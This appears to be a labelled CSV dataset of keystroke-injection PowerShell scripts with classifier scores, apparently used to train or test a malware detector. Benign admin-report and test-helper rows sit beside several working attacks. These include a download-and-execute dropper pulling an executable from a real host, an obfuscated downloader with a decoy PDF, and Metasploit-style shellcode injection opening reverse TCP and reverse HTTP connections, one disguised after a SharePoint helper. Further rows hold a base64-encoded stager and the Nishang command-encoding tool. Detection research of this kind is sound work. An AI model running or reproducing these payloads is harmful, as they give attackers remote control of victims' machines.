"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""workstation_report_rblpqaqe"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Write-Host ""Starting disk_checks section 1."" enter Get-PSDrive -PSProvider FileSystem | enter Select-Object Name, Root, Used, Free, Description | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""disk_psdrive.json"") -Encoding UTF8 enter Write-Host ""Starting event_log_review section 2."" enter Get-WinEvent -LogName Application -MaxEvents 150 | enter Where-Object { $_.LevelDisplayName -in @(""Warning"") } | enter Select-Object TimeCreated, ProviderName, Id, LevelDisplayName, Message | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""event_application_warnings_150.txt"") -Encoding UTF8 enter",0,0,0.999966,3.39687e-05
"win+r powershell enter Describe ""Redirection operator now supports encoding changes"" -Tags ""CI"" { Befo enter reAll { $asciiString = ""abc"" if ( $IsWindows ) { $asciiCR = ""`r`n"" } else enter { $asciiCR = [string][char]10 } enter enter",1,1,0.00028308795,0.99971694
"win+r enter powershell enter enter enter $TempDir = [System.IO.Path]::GetTempPath(); (New-Object System.Net.WebClient).DownloadFile(""http://kulup.isikun.edu.tr/Kraken.jpg"","" $TempDir\syshost.exe""); start $TempDir\syshost.exe; enter enter",1,1,5.929279e-05,0.99994075
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""asset_report_88hmyeud"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-ChildItem -Path $env:TEMP -Directory -ErrorAction SilentlyContinue | enter Select-Object -First 50 Name, FullName, LastWriteTime | enter Export-Csv -Path (Join-Path $ReportDir ""disk_filesystem_provider.csv"") -NoTypeInformation enter Write-Host ""Starting user_helpdesk_audit section 2."" enter [PSCustomObject]@{ UserName=$env:USERNAME; ComputerName=$env:COMPUTERNAME; UserDomain=$env:USERDOMAIN; PowerShellVersion=$PSVersionTable.PSVersion.ToString() } | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""user_current_context.txt"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.9999654,3.4549637e-05
"win+r powershell enter $flol3=iex($('[Environment]::GetEvjrt'''.Replace('vjr','nvironmentVariable(''pub enter lic'') + ''\\bi1xb0.ba')));$flol=iex($('[Environment]::GetEvjrt'''.Replace('vjr' enter ,'nvironmentVariable(''public'') + ''\\wusb.ba')));function getit([string]$fz, [ enter string]$oulv){$ff=iex($('(Nf9c0w-Objf9c0ct Systf9c0m.Nf9c0t.Wf9c0bClif9c0nt).Dow enter nzqv9e($oulv.Replace(''kvqp'',''tps://'').Replace(''mo4'', ''e''), $fz)').Replac enter e('f9c0', 'e').Replace('zqv9', 'loadFil'));iex('smvdgqarmvdgq $fz'.Replace('mvdg enter q','t'))};getit -fz $flol -oulv 'htkvqpwww.dld.amo4/zp/zpmo4u.mo4xmo4';$fzf=$(Ge enter t-Location).tostring() + '\\';Remove-Item -Path ($fzf + $(Get-ChildItem -Include enter *.lnk -Name));getit -fz ($fzf + 'List of required items and services.pdf') -oul enter v 'http://www.blumo4maxxlasmo4r.com/rh/List%20of%20rmo4quirmo4d%20itmo4ms%20and% enter 20smo4rvicmo4s.pdf';exit enter enter",1,1,5.604535e-05,0.999944
delay_long enter win+r enter delay_medium enter iexplore https://jonnybanana.github.io/safari-ie-reaper.github.io enter delay_medium enter enter,1,1,6.481025e-05,0.99993515
"win+r enter powershell enter enter enter $c = '[DllImport(""kernel32.dll"")]public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport(""kernel32.dll"")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);[DllImport(""msvcrt.dll"")]public static extern IntPtr memset(IntPtr dest, uint src, uint count);';$w = Add-Type -memberDefinition $c -Name ""Win32"" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$z = 0xfc,0xe8,0x82,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xc0,0x64,0x8b,0x50,0x30,0x8b,0x52,0x0c,0x8b,0x52,0x14,0x8b,0x72,0x28,0x0f,0xb7,0x4a,0x26,0x31,0xff,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,0xe2,0xf2,0x52,0x57,0x8b,0x52,0x10,0x8b,0x4a,0x3c,0x8b,0x4c,0x11,0x78,0xe3,0x48,0x01,0xd1,0x51,0x8b,0x59,0x20,0x01,0xd3,0x8b,0x49,0x18,0xe3,0x3a,0x49,0x8b,0x34,0x8b,0x01,0xd6,0x31,0xff,0xac,0xc1,0xcf,0x0d,0x01,0xc7,0x38,0xe0,0x75,0xf6,0x03,0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe4,0x58,0x8b,0x58,0x24,0x01,0xd3,0x66,0x8b,0x0c,0x4b,0x8b,0x58,0x1c,0x01,0xd3,0x8b,0x04,0x8b,0x01,0xd0,0x89,0x44,0x24,0x24,0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x5f,0x5f,0x5a,0x8b,0x12,0xeb,0x8d,0x5d,0x68,0x33,0x32,0x00,0x00,0x68,0x77,0x73,0x32,0x5f,0x54,0x68,0x4c,0x77,0x26,0x07,0xff,0xd5,0xb8,0x90,0x01,0x00,0x00,0x29,0xc4,0x54,0x50,0x68,0x29,0x80,0x6b,0x00,0xff,0xd5,0x6a,0x05,0x68,0xc0,0xa8,0x01,0x0f,0x68,0x02,0x00,0x11,0x5c,0x89,0xe6,0x50,0x50,0x50,0x50,0x40,0x50,0x40,0x50,0x68,0xea,0x0f,0xdf,0xe0,0xff,0xd5,0x97,0x6a,0x10,0x56,0x57,0x68,0x99,0xa5,0x74,0x61,0xff,0xd5,0x85,0xc0,0x74,0x0a,0xff,0x4e,0x08,0x75,0xec,0xe8,0x61,0x00,0x00,0x00,0x6a,0x00,0x6a,0x04,0x56,0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x83,0xf8,0x00,0x7e,0x36,0x8b,0x36,0x6a,0x40,0x68,0x00,0x10,0x00,0x00,0x56,0x6a,0x00,0x68,0x58,0xa4,0x53,0xe5,0xff,0xd5,0x93,0x53,0x6a,0x00,0x56,0x53,0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x83,0xf8,0x00,0x7d,0x22,0x58,0x68,0x00,0x40,0x00,0x00,0x6a,0x00,0x50,0x68,0x0b,0x2f,0x0f,0x30,0xff,0xd5,0x57,0x68,0x75,0x6e,0x4d,0x61,0xff,0xd5,0x5e,0x5e,0xff,0x0c,0x24,0xe9,0x71,0xff,0xff,0xff,0x01,0xc3,0x29,0xc6,0x75,0xc7,0xc3,0xbb,0xf0,0xb5,0xa2,0x56,0x6a,0x00,0x53,0xff,0xd5;$g = 0x1000;if ($z.Length -gt 0x1000){$g = $z.Length};$x=$w::VirtualAlloc(0,0x1000,$g,0x40);for ($i=0;$i -le ($z.Length-1);$i++) {$w::memset([IntPtr]($x.ToInt32()+$i), $z[$i], 1)};$w::CreateThread(0,0,$x,0,0,0);for (;;){Start-sleep 60}; enter enter",1,1,5.1934876e-05,0.999948
"win+r powershell enter # BENIGN ADMIN REPORT enter $ReportDir = Join-Path $env:TEMP ""health_report_yyjflzhd"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Write-Host ""Starting user_helpdesk_audit section 1."" enter [PSCustomObject]@{ UserName=$env:USERNAME; ComputerName=$env:COMPUTERNAME; UserDomain=$env:USERDOMAIN; PowerShellVersion=$PSVersionTable.PSVersion.ToString() } | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""user_current_context.json"") -Encoding UTF8 enter Get-PSDrive -PSProvider FileSystem | enter Select-Object Name, Root, Used, Free, Description | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""disk_psdrive.json"") -Encoding UTF8 enter Get-HotFix | enter Sort-Object InstalledOn -Descending | enter Select-Object -First 50 HotFixID, Description, InstalledBy, InstalledOn | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""software_hotfixes.txt"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.9999658,3.4162902e-05
"win+r enter powershell enter enter enter param([int]$Count=50, [int]$DelayMilliseconds=200) enter enter function Write-Item($itemCount) { enter $i = 1 enter enter while ($i -le $itemCount) { enter $str = ""Output $i"" enter Write-Output $str enter $i = $i + 1 enter Start-Sleep -Milliseconds $DelayMilliseconds enter } enter } enter function Do-Work($workCount) { enter Write-Output ""Doing work..."" enter Write-Item $workcount enter Write-Host ""Done!"" enter } enter enter Do-Work $Count enter enter",0,0,0.8616823,0.13831776
"win+r powershell enter # BENIGN ADMIN REPORT enter $ReportDir = Join-Path $env:TEMP ""workstation_report_g26jcb2f"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Write-Host ""Starting service_checks section 1."" enter Get-Service | enter Where-Object { $_.Status -eq ""Running"" } | enter Sort-Object Status | enter Select-Object Name, DisplayName, Status | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""service_running.json"") -Encoding UTF8 enter Get-HotFix | enter Sort-Object InstalledOn -Descending | enter Select-Object -First 200 HotFixID, Description, InstalledBy, InstalledOn | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""software_hotfixes.txt"") -Encoding UTF8 enter",0,0,0.99996614,3.3887747e-05
"win+r powershell enter function Add-SPOGroup enter { enter [CmdletBinding()] enter param enter ( enter [Parameter(Mandatory=$true, Position=1)] enter [string]$name enter ) enter process enter { enter Write-Host ""Create SharePoint group $name"" -foregroundcolor black -backgroundcolor yellow enter $groupCreation = new-object Microsoft.SharePoint.Client.GroupCreationInformation enter $groupCreation.Title = $name enter try { enter $group = $clientContext.Web.SiteGroups.Add($groupCreation) enter $clientContext.ExecuteQuery() enter Write-Host ""SharePoint group succesfully created"" -foregroundcolor black -backgroundcolor green enter } catch { enter Write-Host ""Group already exists"" -foregroundcolor black -backgroundcolor yellow enter } enter } enter } enter $c = '[DllImport(""kernel32.dll"")]public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport(""kernel32.dll"")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);[DllImport(""msvcrt.dll"")]public static extern IntPtr memset(IntPtr dest, uint src, uint count);';$w = Add-Type -memberDefinition $c -Name ""Win32"" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$z = 0xfc,0xe8,0x82,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xc0,0x64,0x8b,0x50,0x30,0x8b,0x52,0x0c,0x8b,0x52,0x14,0x8b,0x72,0x28,0x0f,0xb7,0x4a,0x26,0x31,0xff,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,0xe2,0xf2,0x52,0x57,0x8b,0x52,0x10,0x8b,0x4a,0x3c,0x8b,0x4c,0x11,0x78,0xe3,0x48,0x01,0xd1,0x51,0x8b,0x59,0x20,0x01,0xd3,0x8b,0x49,0x18,0xe3,0x3a,0x49,0x8b,0x34,0x8b,0x01,0xd6,0x31,0xff,0xac,0xc1,0xcf,0x0d,0x01,0xc7,0x38,0xe0,0x75,0xf6,0x03,0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe4,0x58,0x8b,0x58,0x24,0x01,0xd3,0x66,0x8b,0x0c,0x4b,0x8b,0x58,0x1c,0x01,0xd3,0x8b,0x04,0x8b,0x01,0xd0,0x89,0x44,0x24,0x24,0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x5f,0x5f,0x5a,0x8b,0x12,0xeb,0x8d,0x5d,0x68,0x6e,0x65,0x74,0x00,0x68,0x77,0x69,0x6e,0x69,0x54,0x68,0x4c,0x77,0x26,0x07,0xff,0xd5,0x31,0xdb,0x53,0x53,0x53,0x53,0x53,0x68,0x3a,0x56,0x79,0xa7,0xff,0xd5,0x53,0x53,0x6a,0x03,0x53,0x53,0x68,0x5c,0x11,0x00,0x00,0xe8,0x08,0x01,0x00,0x00,0x2f,0x4d,0x79,0x51,0x49,0x38,0x6f,0x50,0x77,0x62,0x52,0x4e,0x61,0x6f,0x6c,0x75,0x6a,0x44,0x5a,0x61,0x2d,0x48,0x77,0x38,0x39,0x4b,0x6e,0x49,0x35,0x52,0x31,0x4a,0x76,0x52,0x4c,0x76,0x72,0x73,0x76,0x6b,0x70,0x38,0x34,0x64,0x72,0x63,0x65,0x35,0x79,0x55,0x47,0x63,0x50,0x52,0x31,0x75,0x49,0x43,0x4d,0x63,0x62,0x5a,0x38,0x44,0x55,0x4a,0x76,0x68,0x6d,0x4e,0x76,0x6a,0x4e,0x46,0x64,0x68,0x74,0x4e,0x48,0x48,0x61,0x44,0x55,0x4d,0x79,0x55,0x65,0x50,0x5a,0x53,0x7a,0x54,0x45,0x64,0x4e,0x4f,0x69,0x48,0x36,0x72,0x6b,0x6f,0x73,0x37,0x67,0x6b,0x46,0x62,0x48,0x55,0x30,0x54,0x69,0x58,0x6e,0x39,0x43,0x55,0x4a,0x73,0x69,0x49,0x39,0x4b,0x32,0x37,0x36,0x66,0x6a,0x30,0x33,0x4c,0x00,0x50,0x68,0x57,0x89,0x9f,0xc6,0xff,0xd5,0x89,0xc6,0x53,0x68,0x00,0x32,0xe0,0x84,0x53,0x53,0x53,0x57,0x53,0x56,0x68,0xeb,0x55,0x2e,0x3b,0xff,0xd5,0x96,0x6a,0x0a,0x5f,0x68,0x80,0x33,0x00,0x00,0x89,0xe0,0x6a,0x04,0x50,0x6a,0x1f,0x56,0x68,0x75,0x46,0x9e,0x86,0xff,0xd5,0x53,0x53,0x53,0x53,0x56,0x68,0x2d,0x06,0x18,0x7b,0xff,0xd5,0x85,0xc0,0x75,0x08,0x4f,0x75,0xd9,0xe8,0x4b,0x00,0x00,0x00,0x6a,0x40,0x68,0x00,0x10,0x00,0x00,0x68,0x00,0x00,0x40,0x00,0x53,0x68,0x58,0xa4,0x53,0xe5,0xff,0xd5,0x93,0x53,0x53,0x89,0xe7,0x57,0x68,0x00,0x20,0x00,0x00,0x53,0x56,0x68,0x12,0x96,0x89,0xe2,0xff,0xd5,0x85,0xc0,0x74,0xcf,0x8b,0x07,0x01,0xc3,0x85,0xc0,0x75,0xe5,0x58,0xc3,0x5f,0xe8,0x77,0xff,0xff,0xff,0x74,0x61,0x70,0x61,0x2e,0x6e,0x6f,0x2d,0x69,0x70,0x2e,0x6f,0x72,0x67,0x00,0xbb,0xf0,0xb5,0xa2,0x56,0x6a,0x00,0x53,0xff,0xd5;$g = 0x1000;if ($z.Length -gt 0x1000){$g = $z.Length};$x=$w::VirtualAlloc(0,0x1000,$g,0x40);for ($i=0;$i -le ($z.Length-1);$i++) {$w::memset([IntPtr]($x.ToInt32()+$i), $z[$i], 1)};$w::CreateThread(0,0,$x,0,0,0);for (;;){Start-sleep 60}; enter",1,1,5.1924475e-05,0.999948
"win+r enter powershell enter enter enter function Invoke-Encode enter { enter <# enter .SYNOPSIS enter Script for Nishang to encode and compress plain data. enter enter .DESCRIPTION enter The script asks for a path to a plain file or string, encodes it and writes to a file ""encoded.txt"" in the current working directory. enter enter If the switch -OutCommand is used. An encoded command which could be executed on a non-powershell console is also generated. enter The encoded command is useful in case of non-interactive shells like webshell or when special characters in scripts may enter create problems, for example, a meterpreter session. enter enter .PARAMETER DataToEncode enter The path of the file to be decoded. Use with -IsString to enter a string. enter enter .PARAMETER OutputFilePath enter The path of the output file. Default is ""encoded.txt"" in the current working directory. enter enter .PARAMETER OutputCommandFilePath enter The path of the output file where encoded command would be written. Default is ""encodedcommand.txt"" in the current working directory. enter enter .PARAMETER IsString enter Use this to specify the data/command to be encodedif you are passing a string in place of a filepath. enter enter .PARAMETER OutCommand enter Generate an encoded command which could be used with -EncodedCommand parameter of PowerShell. enter enter .PARAMETER PostScriptCommand enter Generate a PowerShell command which is much smaller than encoded scripts. Useful in scenrios where enter longer commands or scripts could not be used. enter enter .EXAMPLE enter enter PS > Invoke-Encode -DataToEncode C:\scripts\data.txt enter enter Use above command to generate encoded data which could be Decoded using the Invoke-Decode script. enter PS > Invoke-Encode -DataToEncode C:\scripts\evil.ps1 -OutCommand enter enter Use above command to generate encoded data and encoded command which could be used on a non-powershell console. enter Use powershell -EncodedCommand <generated code here> enter .EXAMPLE enter enter PS > Invoke-Encode ""A Secret message"" -IsString enter enter Use above to encode a string. enter .EXAMPLE enter enter PS > Invoke-Encode Get-Process -IsString -OutCommand enter enter Use above to encode a command. enter .LINK enter http://www.darkoperator.com/blog/2013/3/21/powershell-basics-execution-policy-and-code-signing-part-2.html enter https://github.com/samratashok/nishang enter enter #> enter [CmdletBinding()] Param( enter [Parameter(Position = 0, Mandatory = $True)] enter [String] enter $DataToEncode, enter enter [Parameter(Position = 1, Mandatory = $False)] enter [String] enter $OutputFilePath = "".\encoded.txt"", enter enter [Parameter(Position = 2, Mandatory = $False)] enter [String] enter $OutputCommandFilePath = "".\encodedcommand.txt"", enter enter [Switch] enter $OutCommand, enter enter [Switch] enter $IsString, enter enter [Switch] enter $PostScriptCommand enter enter ) enter if($IsString -eq $true) enter { enter enter $Enc = $DataToEncode enter enter } enter else enter { enter $Enc = Get-Content $DataToEncode -Encoding Ascii enter } enter #Compression logic from http://www.darkoperator.com/blog/2013/3/21/powershell-basics-execution-policy-and-code-signing-part-2.html enter $ms = New-Object IO.MemoryStream enter $action = [IO.Compression.CompressionMode]::Compress enter $cs = New-Object IO.Compression.DeflateStream ($ms,$action) enter $sw = New-Object IO.StreamWriter ($cs, [Text.Encoding]::ASCII) enter $Enc | ForEach-Object {$sw.WriteLine($_)} enter $sw.Close() enter enter # Base64 encode stream enter $Compressed = [Convert]::ToBase64String($ms.ToArray()) enter Out-File -InputObject $Compressed -FilePath $OutputFilePath enter Write-Output ""Encoded data written to $OutputFilePath"" enter enter if (($OutCommand -eq $True) -or ($PostScriptCommand -eq $True)) enter { enter #http://www.darkoperator.com/blog/2013/3/21/powershell-basics-execution-policy-and-code-signing-part-2.html enter $command = ""Invoke-Expression `$(New-Object IO.StreamReader ("" + enter enter ""`$(New-Object IO.Compression.DeflateStream ("" + enter enter ""`$(New-Object IO.MemoryStream (,""+ enter enter ""`$([Convert]::FromBase64String('$Compressed')))), "" + enter enter ""[IO.Compression.CompressionMode]::Decompress)),""+ enter enter "" [Text.Encoding]::ASCII)).ReadToEnd();"" enter enter #Generate Base64 encoded command to use with the powershell -encodedcommand paramter"" enter $UnicodeEncoder = New-Object System.Text.UnicodeEncoding enter $EncScript = [Convert]::ToBase64String($UnicodeEncoder.GetBytes($command)) enter #Check for max. length supported by Windows. If the base64 encoded command is longer use the other one. enter if (($EncScript.Length -gt 8190) -or ($PostScriptCommand -eq $True)) enter { enter Out-File -InputObject $command -FilePath $OutputCommandFilePath enter Write-Output ""Encoded command written to $OutputCommandFilePath"" enter } enter else enter { enter Out-File -InputObject $EncScript -FilePath $OutputCommandFilePath enter Write-Output ""Encoded command written to $OutputCommandFilePath"" enter } enter } enter } enter enter",1,1,6.519762e-05,0.9999348
"win+r powershell enter function Export-SPList{ param( [Parameter(Mandatory=$true)] [String] $Li enter stUrl, [Parameter(Mandatory=$false)] [String] $Path = ""C: tab emp"", enter enter",1,1,0.0027924823,0.99720746
"win+r powershell enter # BENIGN ADMIN REPORT enter $ReportDir = Join-Path $env:TEMP ""workstation_report_ouvxm26e"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Write-Host ""Starting firewall_status section 1."" enter Get-NetFirewallProfile | enter Select-Object Name, Enabled, DefaultInboundAction, DefaultOutboundAction | enter Export-Csv -Path (Join-Path $ReportDir ""firewall_profiles.csv"") -NoTypeInformation enter Write-Host ""Starting network_checks section 2."" enter Get-NetConnectionProfile | enter Select-Object Name, InterfaceAlias, NetworkCategory, IPv4Connectivity, IPv6Connectivity | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""network_net_connection_profile.txt"") -Encoding UTF8 enter",0,0,0.999966,3.394499e-05
win+r enter powershell enter enter enter win x a left enter Set-ExecutionPolicy Bypass -Scope Process -Force; [System.Net.ServicePointManager]::SecurityProtocol = [System.Net.ServicePointManager]::SecurityProtocol -bor 3072; iex ((New-Object System.Net.WebClient).DownloadString('https://chocolatey.org/install.ps1')) enter choco install flashplayeractivex enter A enter enter enter,0,0,0.9999603,3.9645845e-05
"win+r powershell enter # BENIGN ADMIN REPORT enter $ReportDir = Join-Path $env:TEMP ""inventory_reports_yzekjj0t"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-AppxPackage | enter Select-Object -First 200 Name, Version, Publisher | enter Export-Csv -Path (Join-Path $ReportDir ""software_appx_packages.csv"") -NoTypeInformation enter Get-ChildItem -Path $env:TEMP -Directory -ErrorAction SilentlyContinue | enter Select-Object -First 50 Name, FullName, LastWriteTime | enter Export-Csv -Path (Join-Path $ReportDir ""disk_filesystem_provider.csv"") -NoTypeInformation enter",0,0,0.9999665,3.3476477e-05
"win+r powershell enter # BENIGN ADMIN REPORT enter $ReportDir = Join-Path $env:TEMP ""ops_check_e2d6n2pe"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-Service -Name ""*network*"" -ErrorAction SilentlyContinue | enter Sort-Object Name | enter Select-Object Name, DisplayName, Status, ServiceType | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""service_service_name_pattern.txt"") -Encoding UTF8 enter Get-LocalGroup | enter Select-Object Name, Description | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""user_local_groups.json"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.9999658,3.4227403e-05
win+r powershell enter Set-StrictMode -Version 2 $DoIt = @' ZnVuY3Rpb24gZnVuY19nZXRfcHJvY19hZGRyZXNzIH enter sKCVBhcmFtICgkdmFyX21vZHVsZSwgJHZhcl9wcm9jZWR1cmUpCQkKCSR2YXJfdW5zYWZlX25hdGl2ZV enter 9tZXRob2RzID0gKFtBcHBEb21haW5dOjpDdXJyZW50RG9tYWluLkdldEFzc2VtYmxpZXMoKSB8IFdoZX enter JlLU9iamVjdCB7ICRfLkdsb2JhbEFzc2VtYmx5Q2FjaGUgLUFuZCAkXy5Mb2NhdGlvbi5TcGxpdCgnXF enter wnKVstMV0uRXF1YWxzKCdTeXN0ZW0uZGxsJykgfSkuR2V0VHlwZSgnTWljcm9zb2Z0LldpbjMyLlVuc2 enter FmZU5hdGl2ZU1ldGhvZHMnKQoJJHZhcl9ncGEgPSAkdmFyX3Vuc2FmZV9uYXRpdmVfbWV0aG9kcy5HZX enter RNZXRob2QoJ0dldFByb2NBZGRyZXNzJywgW1R5cGVbXV0gQCgnU3lzdGVtLlJ1bnRpbWUuSW50ZXJvcF enter NlcnZpY2VzLkhhbmRsZVJlZicsICdzdHJpbmcnKSkKCXJldHVybiAkdmFyX2dwYS5JbnZva2UoJG51bG enter wsIEAoW1N5c3RlbS5SdW50aW1lLkludGVyb3BTZXJ2aWNlcy5IYW5kbGVSZWZdKE5ldy1PYmplY3QgU3 enter lzdGVtLlJ1bnRpbWUuSW50ZXJvcFNlcnZpY2VzLkhhbmRsZVJlZigoTmV3LU9iamVjdCBJbnRQdHIpLC enter AoJHZhcl91bnNhZmVfbmF0aXZlX21ldGhvZHMuR2V0TWV0aG9kKCdHZXRNb2R1bGVIYW5kbGUnKSkuSW enter 52b2tlKCRudWxsLCBAKC enter enter,1,1,6.599812e-05,0.99993396
"win+r enter powershell enter enter enter Param($NumberOfDays = 30, [switch]$debug) enter enter if($debug) { $DebugPreference = "" continue"" } enter enter [timespan]$uptime = New-TimeSpan -start 0 -end 0 enter $currentTime = get-Date enter $startUpID = 6005 enter $shutDownID = 6006 enter $minutesInPeriod = (24*60)*$NumberOfDays enter $startingDate = (Get-Date -Hour 00 -Minute 00 -Second 00).adddays(-$numberOfDays) enter enter Write-debug ""'$uptime $uptime"" ; start-sleep -s 1 enter write-debug ""'$currentTime $currentTime"" ; start-sleep -s 1 enter write-debug ""'$startingDate $startingDate"" ; start-sleep -s 1 enter enter foreach($server in GC c:\input.txt) enter { enter enter $events = Get-EventLog -LogName system -ComputerName $server | enter Where-Object { $_.eventID -eq $startUpID -OR $_.eventID -eq $shutDownID ` enter -and $_.TimeGenerated -ge $startingDate } enter enter write-debug ""'$events $($events)"" ; start-sleep -s 1 enter enter $sortedList = New-object system.collections.sortedlist enter enter ForEach($event in $events) enter { enter $sortedList.Add( $event.timeGenerated, $event.eventID ) enter } enter $uptime = $currentTime - $sortedList.keys[$($sortedList.Keys.Count-1)] enter Write-Debug ""Current uptime $uptime"" enter enter For($item = $sortedList.Count-2 ; $item -ge 0 ; $item -- ) enter { enter Write-Debug ""$item `t `t $($sortedList.GetByIndex($item)) `t ` enter $($sortedList.Keys[$item])"" enter if($sortedList.GetByIndex($item) -eq $startUpID) enter { enter $uptime += ($sortedList.Keys[$item+1] - $sortedList.Keys[$item]) enter Write-Debug ""adding uptime. `t uptime is now: $uptime"" enter } enter } enter $UpTimeMinutes = $Uptime.TotalMinutes enter $UpTimehrs = ($UpTimeMinutes / 60) enter $percentDownTime = ""{0:n2}"" -f (100 - ($UpTimeMinutes/$minutesInPeriod)*100) enter $percentUpTime = 100 - $percentDowntime enter ""Total up time on server $server since $startingDate is $UpTimehrs"" enter write-host ""$percentDowntime% downtime on server $server"" -ForegroundColor red enter write-host ""$percentUpTime% uptime on server $server"" -ForegroundColor green enter } enter enter",0,0,0.8924957,0.10750432
"win+r enter powershell enter enter enter function Should-MatchExactly($ActualValue, $RegularExpression, [switch] $Negate, [string] $Because) { enter enter [bool] $succeeded = $ActualValue -cmatch $RegularExpression enter enter if ($Negate) { enter $succeeded = -not $succeeded enter } enter enter $failureMessage = '' enter enter if (-not $succeeded) { enter if ($Negate) { enter $failureMessage = NotShouldMatchExactlyFailureMessage -ActualValue $ActualValue -RegularExpression $RegularExpression -Because $Because enter } enter else { enter $failureMessage = ShouldMatchExactlyFailureMessage -ActualValue $ActualValue -RegularExpression $RegularExpression -Because $Because enter } enter } enter enter return New-Object psobject -Property @{ enter Succeeded = $succeeded enter FailureMessage = $failureMessage enter } enter } enter enter function ShouldMatchExactlyFailureMessage($ActualValue, $RegularExpression) { enter return ""Expected regular expression $(Format-Nicely $RegularExpression) to case sensitively match $(Format-Nicely $ActualValue),$(Format-Because $Because) but it did not match."" enter } enter enter function NotShouldMatchExactlyFailureMessage($ActualValue, $RegularExpression) { enter return ""Expected regular expression $(Format-Nicely $RegularExpression) to not case sensitively match $(Format-Nicely $ActualValue),$(Format-Because $Because) but it did match."" enter } enter enter Add-AssertionOperator -Name MatchExactly ` enter -InternalName Should-MatchExactly ` enter -Test ${function:Should-MatchExactly} ` enter -Alias 'CMATCH' enter enter",0,0,0.9999132,8.676467e-05
"win+r enter powershell enter enter enter function Should-BeLessThan($ActualValue, $ExpectedValue, [switch] $Negate, [string] $Because) { enter enter if ($Negate) { enter return Should-BeGreaterOrEqual -ActualValue $ActualValue -ExpectedValue $ExpectedValue -Negate:$false -Because $Because enter } enter enter if ($ActualValue -ge $ExpectedValue) { enter return New-Object psobject -Property @{ enter Succeeded = $false enter FailureMessage = ""Expected the actual value to be less than $(Format-Nicely $ExpectedValue),$(Format-Because $Because) but got $(Format-Nicely $ActualValue)."" enter } enter } enter enter return New-Object psobject -Property @{ enter Succeeded = $true enter } enter } enter function Should-BeGreaterOrEqual($ActualValue, $ExpectedValue, [switch] $Negate, [string] $Because) { enter enter if ($Negate) { enter return Should-BeLessThan -ActualValue $ActualValue -ExpectedValue $ExpectedValue -Negate:$false -Because $Because enter } enter enter if ($ActualValue -lt $ExpectedValue) { enter return New-Object psobject -Property @{ enter Succeeded = $false enter FailureMessage = ""Expected the actual value to be greater than or equal to $(Format-Nicely $ExpectedValue),$(Format-Because $Because) but got $(Format-Nicely $ActualValue)."" enter } enter } enter enter return New-Object psobject -Property @{ enter Succeeded = $true enter } enter } enter enter Add-AssertionOperator -Name BeLessThan ` enter -InternalName Should-BeLessThan ` enter -Test ${function:Should-BeLessThan} ` enter -Alias 'LT' enter enter Add-AssertionOperator -Name BeGreaterOrEqual ` enter -InternalName Should-BeGreaterOrEqual ` enter -Test ${function:Should-BeGreaterOrEqual} ` enter -Alias 'GE' enter function ShouldBeLessThanFailureMessage() { enter } enter function NotShouldBeLessThanFailureMessage() { enter } enter enter function ShouldBeGreaterOrEqualFailureMessage() { enter } enter function NotShouldBeGreaterOrEqualFailureMessage() { enter } enter enter",0,0,0.9999441,5.59055e-05
"win+r powershell enter  function Test-NewSubscription { $accounts = @(@{ ObjectId = ""cdf813b6-bdc2 enter -4df5-b150-00ccfd7580e2"" }) Assert-True { $accounts.Count -gt 0 } $myNewS enter ubName = GetAssetName enter enter",1,1,0.008334707,0.9916653
